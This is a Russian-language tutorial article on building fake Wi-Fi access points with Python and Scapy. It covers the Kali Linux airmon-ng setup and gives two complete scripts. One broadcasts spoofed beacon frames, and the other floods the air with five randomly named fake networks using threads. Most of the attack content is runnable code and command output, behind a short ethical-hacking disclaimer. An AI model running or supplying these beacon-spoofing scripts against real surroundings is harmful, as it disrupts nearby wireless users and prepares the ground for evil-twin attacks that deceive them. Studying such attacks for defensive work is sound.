В статье разберемся, как с помощью языка программирования Python и библиотеки Scapy создать поддельные точки доступа (Fake access point).
Еще по теме: Перехват DHCP на Python с помощью Scapy
Поддельная точка доступа на Python с помощью Scapy
Когда-нибудь задумывались, как ваш ноутбук или мобильный телефон узнают о наличии беспроводных сетей поблизости? Все просто. Точки доступа постоянно отправляют сигналы всем беспроводным устройствам поблизости; эти сигналы содержат информацию о точке доступа, такую как SSID (имя), тип шифрования, MAC-адрес и т. д.
Статья представлена в образовательных целях, для обучения этичных хакеров. При написании статьи использовались личные устройства автора. Несанкционированный взлом Wi-Fi сетей и манипуляции с трафиком считаются незаконными и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши необдуманные действия.
Давайте создадим точку фальшивую точку доступа, которая будет посылать сигналы устройствам.
Я буду работать на Kali Linux, так как в ней уже есть предустановленные утилиты, необходимые инструменты (aircrack-ng):
Первым делом установите пакет faker:
1 |
$ pip3 install faker scapy |
Остановите мешающие процессы:
1 2 3 4 5 6 |
root@rockikz:~# airmon-ng check kill Killing these processes: PID Name 735 wpa_supplicant |
Активируйте режим монитора (см. Как перевести адаптер в режим монитора):
1 2 3 4 5 6 7 8 |
root@rockikz:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0 ath9k_htc Atheros Communications, Inc. TP-Link TL-WN821N v3 / TL-WN822N v2 802.11n [Atheros AR7010+AR9287] (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) |
В моем случае адаптер WiFi — это wlan0, в вашем случае может отличаться, поэтому выполните команду ifconfig и проверьте название сетевого интерфейса.
Хорошо, теперь у вас все настроено, давайте начнем:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
from scapy.all import * # Интерфейс для отправки рамок-маяков, должен быть в режиме мониторинга iface = "wlan0mon" # Генерируем случайный MAC-адрес (встроенный в Scapy) sender_mac = RandMAC() # SSID (имя точки доступа) ssid = "Тест" # 802.11 фрейм dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac) # Слой бикона beacon = Dot11Beacon() # Вставляем SSID в фрейм essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) # Объединяем все слои и добавляем RadioTap frame = RadioTap()/dot11/beacon/essid # Отправляем рамку во втором уровне каждые 100 миллисекунд бесконечно # С использованием интерфейса `iface` sendp(frame, inter=0.1, iface=iface, loop=1) |
Вышеуказанный код выполняет следующее:
Генерирует случайный MAC-адрес, устанавливает название точки доступа, которую хотим создать, и затем создает фрейм 802.11. Если простым языком, то точка доступа будет теперь периодически отправлять Биконы для анонсирования своего присутствия.
После того как мы перевели беспроводный интерфейс в режим монитора и запустили скрипт, должны увидеть что-то подобное в списке доступных беспроводных точек доступа:
А теперь давайте создадим несколько поддельных точек доступа одновременно:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
from scapy.all import * from threading import Thread from faker import Faker def send_beacon(ssid, mac, infinite=True): dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac) # ESS+privacy, чтобы появиться как защищенные на некоторых устройствах beacon = Dot11Beacon(cap="ESS+privacy") essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid)) frame = RadioTap()/dot11/beacon/essid sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0) if __name__ == "__main__": # Количество точек доступа n_ap = 5 iface = "wlan0mon" # Генерируем случайные SSID и MAC faker = Faker() ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ] for ssid, mac in ssids_macs: Thread(target=send_beacon, args=(ssid, mac)).start() |
Все, что я сделал здесь, — это обернул предыдущие строки кода в функцию, сгенерировал случайные MAC-адреса и SSID с использованием пакета faker, а затем запустил отдельный поток для каждой точки доступа. После запуска скрипта интерфейс будет отправлять пять сигналов каждые 100 миллисекунд. Это приведет к появлению пяти поддельных точек доступа:
Вот как это выглядит на Android:
ПОЛЕЗНЫЕ ССЫЛКИ:
- Поддельная точка доступа на ESP8266
- Точка доступа WiFi с анонимизацией через Tor
- Фальшивая точка доступа WiFi на Kali Linux с Airgeddon